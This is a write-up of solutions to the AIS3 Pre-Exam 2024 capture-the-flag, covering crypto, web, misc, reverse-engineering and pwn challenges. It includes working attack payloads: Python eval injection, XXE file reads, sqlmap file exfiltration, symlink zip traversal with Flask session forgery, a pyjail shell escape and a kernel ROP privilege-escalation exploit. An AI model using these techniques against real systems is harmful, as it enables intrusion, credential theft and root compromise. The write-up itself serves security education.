# AIS3 Pre-Exam 2024 ![screencapture-pre-exam-ais3-org-users-84-2024-05-30-13_58_20](https://hackmd.io/_uploads/SyWqS9rE0.png) # crypto ## babyRSA 每個字元爆破 ```python import ast, gmpy2 with open("output.txt") as f: e, n = ast.literal_eval(f.readline().split(": ")[1]) encrypted = ast.literal_eval(f.readline().split(": ")[1]) def brute(c): for i in range(1, 1000): if gmpy2.powmod(i, e, n) == c: return i pt = [brute(c) for c in encrypted] print(bytes(pt)) # AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf} ``` ## zkp p-1 smooth,直接 pohlig-hellman ```python from sage.all import * from pwn import process, remote, context from Crypto.Util.number import bytes_to_long, long_to_bytes p = 912963562570713895762123712634341582363191342435924527885311975797578046400116904692505817547350929619596093083745446525856149291591598712142696114753807416455553636357128701771057485027781550780145668058332461392878693207262984011086549089459904749465167095482671894984474035487400352761994560452501497000487 # io = process(["python", "zkp.py"]) io = remote("10.113.197.211", 7002) io.sendlineafter(b'Option: ', b'1') io.recvuntil(b'y = ') y = int(io.recvlineS().strip()) F = GF(p) x = F(y).log(F(5)) print(long_to_bytes(int(x))) # AIS3{ToSolveADiscreteLogProblemWhithSmoothPIsSoEZZZZZZZZZZZ} ``` ## easyRSA RSA-CRT fault attack,賭它 $a=0 \land b \neq 0$ 或是 $a \neq 0 \land b = 0$ 就能 gcd factor ```python from pwn import process, remote, context import ast from base64 import b64decode, b64encode from Crypto.Util.number import bytes_to_long, long_to_bytes from math import gcd from hashlib import sha256 def sign(io, m: bytes): io.sendlineafter(b"Option: ", b"2") io.sendline(b64encode(m)) io.recvuntil(b"Signature: ") sig = b64decode(ast.literal_eval(io.recvlineS().strip())) return bytes_to_long(sig) def H(x: bytes): return bytes_to_long(sha256(x).digest()) for _ in range(100): # io = process(["python", "easyRSA.py"]) io = remote("10.113.197.211", 7001) io.sendlineafter(b"Option: ", b"1") io.recvuntil(b"e, n = ") e, n = ast.literal_eval(io.recvlineS().strip()) for _ in range(3): s = sign(io, b"a") p = gcd(pow(s, e, n) - H(b"a"), n) if p != 1 and p < n: print(p) break else: io.close() print("Retry...") continue q = n // p assert p * q == n phi = (p - 1) * (q - 1) d = pow(e, -1, phi) msg = b64encode(b"Give me the flag!") sig = pow(H(msg), d, n) io.sendlineafter(b"Option: ", b"3") io.sendline(b64encode(long_to_bytes(sig))) io.interactive() break # AIS3{IJustWantItFasterQAQ} ``` ## zkp-revenge r 只有 1000 bits,比 1024 bits 的 p 小,可以當 HNP 解 ```python from sage.all import * from pwn import process, remote, context from Crypto.Util.number import bytes_to_long, long_to_bytes import random from lll_cvp import solve_inequality, kannan_cvp, flatter from functools import partial p = 150185824445338438503137342888022056633638169759810649363243704622323277332137303513686774817685398647961100204975427761104065098470367510524190260783534442188618531886739652741831859216836696141782764935683322790152278632694091541323716227103096628655152813919276066075519669643026819114311666482291445163699 # io = process(["python", "zkp-revenge.py"]) io = remote("10.113.197.211", 7004) # io.sendlineafter(b'Option: ', b'1') # io.recvuntil(b'y = ') # y = int(io.recvlineS().strip()) def oracle(c: int): assert c >= (1 << 600), f"too small, {c.bit_length() = }" assert (p - (1 << 600)) >= c, f"too big, {(p - c).bit_length() = }" io.sendlineafter(b"Option: ", b"2") io.sendline(str(c).encode()) io.recvuntil(b"w = ") return int(io.recvlineS().strip()) n = 100 cs = [] ws = [] for _ in range(n): c = random.randint(1 << 600, p - (1 << 600)) w = oracle(c) cs.append(c) ws.append(w) A = matrix.identity(n) * (p - 1) B = matrix(cs).stack(matrix(ws)) L = block_matrix([[A, ZZ(0)], [B, ZZ(1)]]) cvp = partial(kannan_cvp, reduction=flatter) lb = [0] * n + [0, 0] ub = [2**1000] * n + [2**1000, 1] sol = solve_inequality(L, lb, ub, cvp=cvp) flag = long_to_bytes(int(abs(sol[-2]))) print(flag) # AIS3{Wow!YouAreAMathMaster.} ``` ## zkp-revenge-revenge r 和 sk 都小,3x3 LLL 搞定 ```python from hashlib import sha256, sha512 from Crypto.Util.number import bytes_to_long, long_to_bytes p = 150185824445338438503137342888022056633638169759810649363243704622323277332137303513686774817685398647961100204975427761104065098470367510524190260783534442188618531886739652741831859216836696141782764935683322790152278632694091541323716227103096628655152813919276066075519669643026819114311666482291445163699 g = 5 y = 76877500564117340561479939560167662549380204565073702131743107428012689714444806633202327284694273076663891114679380670820137823370006075466398844510385222281656298572125989350694349265225598804027676382026220031106911120943057216404723024451977342357463050947048653070486137491028023427676181317996918186745 a = 32526590557813432311225468105089258546494555415244350281788608747063518675921491018917256510947003590015240891508142579993999814652779526400269868547952177236689287717946082735037730091852991203951584574550470849340000371428356551467909242982615331621193818017280899485386167916245539916646806739532960507968 w = 94719933836524200229466053051493174098073457144103707805716651680927233371260214665579732066265594858984230783676225150374915625611916124448536631197767005015908074049027372069556312296921116072484673673899264970377172224903555466266691193389868887094669203685758808039000189586652974179612444903988887563032 c = bytes_to_long(sha512(f"{y}, {a}, {g}, {p}".encode()).digest() + sha256(f"{p}, {g}, {a}, {y}".encode()).digest()) # w = c * sk + r K = 2**500 L = matrix([ [p - 1, 0, 0], [w, K, 0], [c, 0, -1] ]).LLL() for row in L: if abs(row[1]) == K: v = sign(row[1]) * row print(v) break r, _, sk = v print(long_to_bytes(int(sk))) # AIS3{What!YouSolveThis!?MaybeIShouldUseAGreaterRNextTime._.} ``` ## md5-encryption 猜 `len(str(time.time())) == 18` 然後用 length extension attack 猜下個 block 的 xor key ```python from pwn import process, remote, context from Crypto.Util.number import bytes_to_long, long_to_bytes from ptrlib.crypto.hashing import MD5, lenext from base64 import b64encode, b64decode import ast time_time = "1" * 18 # assuming len(str(time.time())) == 18 prefix = f"TimeStamp: {time_time} || User:CTF_Player || data: " pad_to_block = 16 - len(prefix) % 16 blkidx = (len(prefix) + pad_to_block) // 16 def xor(a, b): return bytes(x ^ y for x, y in zip(a, b)) def to_blocks(x, n=16): return [x[i : i + n] for i in range(0, len(x), n)] def oracle(data: bytes): io.sendlineafter(b"Option: ", b"1") io.sendlineafter(b":", b64encode(data)) bb = ast.literal_eval(io.recvline().decode()) return b64decode(bb) context.log_level = "DEBUG" # io = process(["python", "md5_encryption.py"]) io = remote("10.113.197.211", 7003) known = ( b"" + b" || Flag: AIS3{G" + b"ot1stBlk!_2ndblk" + b"!almostdone!thir" + b"d_block~}" ) assert len(known) % 16 == 0 _, append = lenext(MD5, 80, b"x" * 16, b"", known) append = append[: -len(known)] if known else append res = oracle(b"x" * pad_to_block + append) h = xor(to_blocks(res)[blkidx], append[:16]) print(h.hex()) # md5(sk + msg(time) + pad_to_block), total length = 16 + 64 = 80 hnext, _ = lenext(MD5, 80, h, b"", known) hnext = bytes.fromhex(hnext) bs = to_blocks(res) for h in bs: print(xor(h, hnext)) # AIS3{Got1stBlk!_2ndblk!almostdone!third_block~} ``` # web ## Evil Calculator eval ```python import requests r = requests.post( "http://10.113.197.211:5001/calculate", json={ "expression": "eval(data['x'])", "x": "__import__('os').popen('cat /flag').read()", }, ) print(r.text) # AIS3{7RiANG13_5NAK3_I5_50_3Vi1} ``` ## Ebook Parser 找個 example epub 下來,改 opf 成 xxe: ```xml <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE maple[ <!ENTITY xxe SYSTEM "file:///flag"> ]> <package xmlns="http://www.idpf.org/2007/opf" xmlns:dc="http://purl.org/dc/elements/1.1/" unique-identifier="db-id" version="3.0"> <metadata> <dc:title id="t1">&xxe; Book</dc:title> <dc:creator>Thomas Hansen</dc:creator> <dc:identifier id="db-id">isbn</dc:identifier> <meta property="dcterms:modified">2014-03-27T09:14:09Z</meta> <dc:language>en</dc:language> </metadata> <manifest> <item id="toc" href="toc.xhtml" media-type="application/xhtml+xml" properties="nav" /> <item id="ncx" href="toc.ncx" media-type="application/x-dtbncx+xml" /> <item id="chapter_1" href="chapter_1.xhtml" media-type="application/xhtml+xml" /> </manifest> <spine toc="ncx"> <itemref idref="toc" /> <itemref idref="chapter_1" /> </spine> </package> ``` Flag: `AIS3{LP#1742885: lxml no longer expands external entities (XXE) by default}` ## It's MyGO!!!!! ```bash sqlmap -u 'http://10.113.197.211:11454/song?id=1' --random-agent --timeout=1 --ignore-timeouts --dbms mysql --file-read=/flag # AIS3{CRYCHIC_Funeral_😭🎸😭🎸😭🎤😭🥁😸🎸} ``` ## It's MyGO!!!!! Part-time Worker ```bash > ln -s / .root > zip --symlinks qq.zip *.jpg .lnk # upload to the website... > curl 'http://10.113.197.211:51414/image/fe5e2c6cc0811d0a8a9814538d1cd684/.root/app/secret.py' secret="No_Sumimi...OnlyAveMujuca" > flask-unsign --secret 'No_Sumimi...OnlyAveMujuca' --cookie "{'admin': True}" --sign eyJhZG1pbiI6dHJ1ZX0.ZlKsBQ.TVRq7c34KVounoK54lCq8xnu3JA > curl 'http://10.113.197.211:51414/admin' --cookie 'session=eyJhZG1pbiI6dHJ1ZX0.ZlKsBQ.TVRq7c34KVounoK54lCq8xnu3JA' AIS3{So_Crazy...MyGO!!!!!_is_Dead} ``` ## Capoost bypass login ```http POST /user/login HTTP/1.1 Host: 68a1e4587cff483e8cb0100b74f89d8c.capoost.chals1.ais3.org:5487 Content-Length: 60 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Content-Type: application/json Accept: */* Origin: http://bec41e23a7e143d9896950ad1c71e667.capoost.chals1.ais3.org:5487 Referer: http://bec41e23a7e143d9896950ad1c71e667.capoost.chals1.ais3.org:5487/login.html Accept-Encoding: gzip, deflate, br Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close {"username":"4dm1n1337","password":{ "Type": "secret" }} ``` create template as admin: ```template Flag here: {{range $element := G1V3m34Fl4gpL34s3}} {{$element}} {{end}} ``` create post as other user: ```http POST /post/create HTTP/1.1 Host: 68a1e4587cff483e8cb0100b74f89d8c.capoost.chals1.ais3.org:5487 Content-Length: 66 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Content-Type: application/json Accept: */* Origin: http://bec41e23a7e143d9896950ad1c71e667.capoost.chals1.ais3.org:5487 Referer: http://bec41e23a7e143d9896950ad1c71e667.capoost.chals1.ais3.org:5487/postcreate.html Accept-Encoding: gzip, deflate, br Accept-Language: zh-TW,zh;q=0.9 Cookie: session=MTcxNjY5MTU1MHxEdi1CQkFFQ180SUFBUkFCRUFBQUpfLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBc0FDWE4xY0dWeWJtVnVaUT09fIxSAm0BpCvhtW6h7hvB6-KRCbIrePSVIjHsm9QUBCWc Connection: close {"title":"flag","template":"flag","data":{}, "owner":"4dm1n1337"} ``` then access the post: ``` {"code":500,"msg":"Internal server error","data":"template: flag:1:31: executing \"flag\" at \u003cG1V3m34Fl4gpL34s3\u003e: range can't iterate over AIS3{go_4w4y_WhY_Ar3_y0U_H3R3_Capoo:(}"} ``` Flag: `AIS3{go_4w4y_WhY_Ar3_y0U_H3R3_Capoo:(}` ## Login Panel Revenge Revenge 1. login as admin:admin 2. get sessionid cookie (e.g. xpeh3ce13en90o1c68uk4715hmoxt5hb) 3. download db: ```bash > curl "http://10.113.197.211:36743/image/?file=$(printf ./db.sqlite3 | base64 -w0)" > tmp.sqlite3 ``` 4. extract session data: ``` > sqlite3 tmp.sqlite3 "select session_data from django_session where session_key = 'xpeh3ce13en90o1c68uk4715hmoxt5hb'" .eJwlT0tKBFEQu8tbu6hK_ecy0tg9IDij2LgS725GVxVCUkm-19d5fN6327Eua9tvr_f1tHDdnj-28zz2dblub-fxT72871SVNLy9ayxFxsEbihxYwifFzcdDOxAqntJaImivLlg4RWQrBSUw10kKAaFBMqsaHR0x0tlTNe4qGe4ZJnCv0ekBRiRNY4ZkNwxqnjqlRbcg_ZGZ9ld0Wpk_kdUOQh3W5ktVs5qu1KpKqlm9aTQ1zdGHItVi0ChTJvCriUR5PcawA2FwAv3CAeNmwuXuaNbgxMk0-M8vELFQNw:1sB4w1:C-Cg-CiN9e0WDhIgUtasUAaMPJW4bkZwm0qDrUzYmCw ``` 5. copy session data (data before the first column) 6. decode session data: ```python > import zlib, base64 > sess = '.eJwlT0tKBFEQu8tbu6hK_ecy0tg9IDij2LgS725GVxVCUkm-19d5fN6327Eua9tvr_f1tHDdnj-28zz2dblub-fxT72871SVNLy9ayxFxsEbihxYwifFzcdDOxAqntJaImivLlg4RWQrBSUw10kKAaFBMqsaHR0x0tlTNe4qGe4ZJnCv0ekBRiRNY4ZkNwxqnjqlRbcg_ZGZ9ld0Wpk_kdUOQh3W5ktVs5qu1KpKqlm9aTQ1zdGHItVi0ChTJvCriUR5PcawA2FwAv3CAeNmwuXuaNbgxMk0-M8vELFQNw' > zlib.decompress(base64.urlsafe_b64decode(sess+'==')) b'{"username":"admin","2fa_passed":false,"2fa_code":7082484879360094293651269236249604349451852510460817002847872354624046760270234196525220185066778285855908689779441065446530244791989229006315990248823213461971758502640028638487998128495678421281994254411337987617776863434840031316915441613592827312136403005747787229057454191770018943305184428758602966324}' ``` 7. login with 2fa code AIS3{Yet_An0th3r_l0gin_pan3l_c2hbKnXIa_c!!!!!} # Misc ## Hash Guesser 上傳 1x1 png,1/2 機率會成功 ```python from PIL import Image Image.new("L", (1, 1), 0).save('qq.png') ``` ## Rickroll Remover 很類似 https://blog.maple3142.net/2024/03/03/osu-gaming-ctf-2024-writeups/#i-hate-anime-girls ,只多了 randomize 的操作而已,直接拿 script 來改一改就行 ```python import base64 import sys import numpy as np from PIL import Image import torch import torch.nn as nn import torchvision.transforms as transforms from torchvision.models import vgg11 from matplotlib import pyplot as plt device = torch.device("cuda" if torch.cuda.is_available() else "cpu") resize = transforms.Resize((224, 224), antialias=None) to_tensor = transforms.ToTensor() normalize = transforms.Normalize((0.485, 0.456, 0.406), (0.229, 0.224, 0.225)) random = transforms.RandomResizedCrop(384, antialias=True) model = vgg11() in_features = model.classifier[-1].in_features model.classifier[-1] = nn.Linear(in_features, 1) model.load_state_dict(torch.load("model.pt")) model = model.to(device) original = np.array(Image.open("rick.png")) # st = input(f"Devin's image filtering service (Enter a base64 encoded image)\n") # try: # img = np.frombuffer(base64.standard_b64decode(st), dtype=np.uint8) # img = img.reshape(original.shape) # assert np.max(np.abs(original.astype(np.int32) - img.astype(np.int32))) <= 8 # except: # print("Yet another peaceful day without rickroll") # sys.exit(0) def pipeline(x, skip_to_tensor=False): if not skip_to_tensor: x = to_tensor(x) x = resize(x) x = x.unsqueeze(0) x = normalize(x) x = random(x) return x # assert (pipeline(Image.fromarray(original)) == pipeline(original)).all() original_t = pipeline(original) print(original_t.shape) # [batch, channel, height, width] = [1, 3, 224, 224] x1 = pipeline(original) x2 = pipeline(torch.tensor(original, dtype=torch.float32).permute(2, 0, 1) / 255, True) # assert (x1 == x2).all() def eval_model(x): return torch.sigmoid(model(x)) orig_tensor = torch.tensor(original, dtype=torch.float32).permute(2, 0, 1).to(device) x = torch.nn.Parameter(torch.clone(orig_tensor), requires_grad=True) # [C, H, W] # if os.path.exists("x.png"): # xdata = np.array(Image.open("x.png").convert("RGB")) # x = torch.nn.Parameter( # torch.tensor(xdata, dtype=torch.float32).permute(2, 0, 1).to(device), # requires_grad=True, # ) # optim = torch.optim.Adam([x], lr=1e-2) optim = torch.optim.Adam([x], lr=1) good_cnt = 0 while good_cnt < 8: optim.zero_grad() # limit the difference to 8 diff = torch.clamp(torch.clamp(x, 5, 255 - 5) - orig_tensor, -6, 6) x.data.copy_(orig_tensor + diff) # [C, H, W] -> [1, C, H, W] r = pipeline(x / 255, skip_to_tensor=True) y = eval_model(r) loss = y loss.backward() optim.step() print(y.item(), loss.item()) if y.item() <= 0.05: # add a margin due to rounding good_cnt += 1 else: good_cnt = 0 print(eval_model(pipeline(x / 255, skip_to_tensor=True))) # draw x plt.imsave( "x.png", x.detach().cpu().squeeze().round().permute(1, 2, 0).numpy().astype(np.uint8), ) img_data = np.asarray(Image.open("x.png").convert("RGB")) assert (x.detach().cpu().squeeze().round().permute(1, 2, 0).numpy() == img_data).all() mx = np.max(np.abs(original.astype(np.int32) - img_data.astype(np.int32))) print(mx) tmp_x = normalize(resize(to_tensor(Image.fromarray(img_data))).unsqueeze(0)).to(device) with torch.no_grad(): y = torch.sigmoid(model(tmp_x)) print(y) # AIS3{reurl.cc/gG83vz} ``` ```python from PIL import Image import numpy as np from base64 import standard_b64encode from pwn import process, remote from subprocess import check_output arr = np.asarray(Image.open("x.png").convert("RGB")) buf = arr.tobytes() def get_io(local): if local: return process(["python", "server.py"]) io = remote("10.113.197.211", 15351) io.recvline() powcmd = io.recvline().strip().decode() print(powcmd) input("ok?") token = check_output(powcmd, shell=True).strip() print(token) io.sendlineafter(b"solution: ", token) return io io = get_io(False) io.sendlineafter(b")\n", standard_b64encode(buf)) io.interactive() # AIS3{reurl.cc/gG83vz} ``` ## Can you describe Pyjail? ```python (d:=Desc(),d.desc_helper('__dict__'),ga:=d.helper['__getattribute__'],d.desc_helper('__base__'),object:=d.helper,gao:=ga(object,'__getattribute__'),newobj:=gao([],'__reduce_ex__')(3)[0] ),gao(newobj,'__builtins__')['__import__']('os').system('sh') # AIS3{y0u_kn0w_h0w_d35cr1p70r_w0rk!} ``` # rev ## Frontend Unraveling Web Application: Master Obfuscated Code Odyssey 把整個網站抓下來,然後把 [disable-devtool](https://www.npmjs.com/package/disable-devtool) 那行停用還有把 dope.js 的 setInterval 停用,然後讀 code 看出它 check flag 會先把 flag 放到 `window.Ching367436_flag`,然後 sleep 後看 `window.Ching367436_flag_correct` 的結果。 所以可知有其他地方可能會去定期檢查 flag,所以我用 define property 找找看觸發的 code 是哪個: ```javascript window.correct = false Object.defineProperty(window, 'Ching367436_flag_correct', { set: v => { console.trace('set', v) window.correct = v }, get: () => window.correct }) ``` 然後下斷點找一找就發現這邊有個函數的變數裡面有藏 flag: ```javascript [AIS3(7765)]: function (_0x4abcd2, _0x1013ed) { return _0x4abcd2 === _0x1013ed; } ``` Flag: `AIS3{posi_ReAl_W0R1d_Obfuc4ted_Code_B9qgXaihce8:5px}` # pwn ## EBH Linux kernel pwn, -aslr, +smep, +smap 在 qemu command 後加上 `-gdb tcp::12345` 然後 gdb `target remote localhost:12345` 可以 debug 可以觀察發現說 kernel stack 大概在 `0xffff............`,而 EBH driver 有: ```c #define PROTECT_ADDRESS_START 0xffffffff00000000 long write_to_address(struct WriteToAddrData *ptr) { struct WriteToAddrData data; if (copy_from_user(&data, ptr, sizeof(struct WriteToAddrData))) return -EFAULT; if (data.target > PROTECT_ADDRESS_START) return -EFAULT; if (data.size > 0x60) return -EFAULT; return copy_from_user(data.target, data.src, data.size); } ``` 所以代表 `target` 可以是 stack address,而且在 no aslr 的情況下是固定的。所以我用 gdb 抓 `write_to_address` 的 return address 出來,然後可以在那邊寫 `0x60` 長度的 ROP chain。 ROP chain 構造是直接參考 https://pawnyable.cafe/linux-kernel/LK01/stack_overflow.html 大概是 `commit_creds(init_creds)` 然後 return 到 `rop_bypass_kpti` 那邊就行 ```c #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <sys/ioctl.h> #include <unistd.h> #define GET_PHYSICAL _IO('G', 0) #define PEEK_PHYSICAL _IO('P', 0) #define WRITE_TO_ADDRESS _IO('W', 0) #define WRITE_NOTE _IO('W', 1) struct PeekPhysicalData { void *phyaddr; unsigned long peeksize; void *peekdata; }; struct WriteToAddrData { void *target; void *src; unsigned long size; }; struct WriteNoteData { void *src; unsigned long size; }; unsigned long user_cs, user_ss, user_rflags, user_sp; static void save_state() { asm("movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %2\n" "pushfq\n" "popq %3\n" : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) : : "memory"); puts("[+] Saved state"); } static void win(void) { char *argv[] = {"/bin/cat", "/flag", NULL}; char *envp[] = {NULL}; puts("[+] win!"); fflush(stdout); execve("/bin/sh", argv, envp); } int main() { int fd = open("/proc/EBH", 0); if (fd < 0) { puts("[-] Failed to open /proc/EBH"); return 1; } save_state(); // to find rop gadgets: // pwndbg `search --asm '...' -e` unsigned long pop_rdi = 0xffffffff810a2402; unsigned long swapgs_popf_ret = 0xffffffff81c00eaa; unsigned long iret_ret = 0xffffffff81024362; unsigned long prepare_kernel_cred = 0xffffffff810895e0; unsigned long commit_creds = 0xffffffff810892c0; unsigned long init_cred = 0xffffffff82443f20; unsigned long bypass_kpti = 0xffffffff81c00a45; // this works without KPTI // unsigned long rop[12] = {pop_rdi, // init_cred, // commit_creds, // swapgs_popf_ret, // 0, // iret_ret, // (unsigned long)win, // user_cs, // user_rflags, // user_sp, // user_ss}; unsigned long rop[12] = {pop_rdi, init_cred, commit_creds, bypass_kpti, 0xdeadbeef, 0xdeadbeef, (unsigned long)win, user_cs, user_rflags, user_sp, user_ss}; struct WriteToAddrData writedata = { .target = (void *)0xffffc900001afe58, // stack return address of write_to_address .src = rop, .size = 0x60, }; if (ioctl(fd, WRITE_TO_ADDRESS, &writedata) < 0) { puts("[-] Failed to write to the address"); close(fd); return 1; } close(fd); return 0; } // AIS3{Oh_n0_1_fOrg37_%O_`iounmap`,_T_Wi|l_r3m*MbEr_i7_Ne/t_t1m#_QAQ} // ありがとう、ptr-yudai さん // https://pawnyable.cafe/linux-kernel/LK01/stack_overflow.html ```